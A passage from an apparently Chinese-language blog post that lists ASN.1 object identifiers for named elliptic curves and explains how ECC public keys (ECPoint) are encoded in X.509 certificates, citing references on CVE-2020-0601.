20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
secp192r1 OBJECT IDENTIFIER ::= {
iso(1) member-body(2) us(840) ansi-X9-62(10045) curves(3)
prime(1) 1 }

sect163k1 OBJECT IDENTIFIER ::= {
iso(1) identified-organization(3) certicom(132) curve(0) 1 }

sect163r2 OBJECT IDENTIFIER ::= {
iso(1) identified-organization(3) certicom(132) curve(0) 15 }

secp224r1 OBJECT IDENTIFIER ::= {
iso(1) identified-organization(3) certicom(132) curve(0) 33 }

sect233k1 OBJECT IDENTIFIER ::= {
iso(1) identified-organization(3) certicom(132) curve(0) 26 }
sect233r1 OBJECT IDENTIFIER ::= {
iso(1) identified-organization(3) certicom(132) curve(0) 27 }

secp256r1 OBJECT IDENTIFIER ::= {
iso(1) member-body(2) us(840) ansi-X9-62(10045) curves(3)
prime(1) 7 }

sect283k1 OBJECT IDENTIFIER ::= {
iso(1) identified-organization(3) certicom(132) curve(0) 16 }

sect283r1 OBJECT IDENTIFIER ::= {
iso(1) identified-organization(3) certicom(132) curve(0) 17 }

secp384r1 OBJECT IDENTIFIER ::= {
iso(1) identified-organization(3) certicom(132) curve(0) 34 }

sect409k1 OBJECT IDENTIFIER ::= {
iso(1) identified-organization(3) certicom(132) curve(0) 36 }

sect409r1 OBJECT IDENTIFIER ::= {
iso(1) identified-organization(3) certicom(132) curve(0) 37 }

secp521r1 OBJECT IDENTIFIER ::= {
iso(1) identified-organization(3) certicom(132) curve(0) 35 }

sect571k1 OBJECT IDENTIFIER ::= {
iso(1) identified-organization(3) certicom(132) curve(0) 38 }

sect571r1 OBJECT IDENTIFIER ::= {
iso(1) identified-organization(3) certicom(132) curve(0) 39 }
subjectPublicKey

这个位置定义了ECC使用的公钥。ECC 定义公钥语法如下

1
ECPoint ::= OCTETSTRING

椭圆曲线加密算法中对ECPoint的实现是未加密的形式。
这个ECPoint虽然定义为OCTETSTRING,但是实际上会映射到subectPublicKey这个类型上。当前定义的第一个字节将会表明当前对象是否为压缩。若当前的密钥是未压缩的,则此时的开头为0x4,如果是压缩过的,则可能是0x2/0x3

未压缩的ECPoint一般是65字节的。去掉开头的0x4,则之后64字节平分为两部分,前面32字节为Point.x后面32字节为Point.y

参考链接

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601
https://msrc-blog.microsoft.com/2020/01/14/january-2020-security-updates-cve-2020-0601/
https://github.com/kudelskisecurity/chainoffools
https://www.itu.int/ITU-T/formal-language/itu-t/x/x509/2005/AuthenticationFramework.html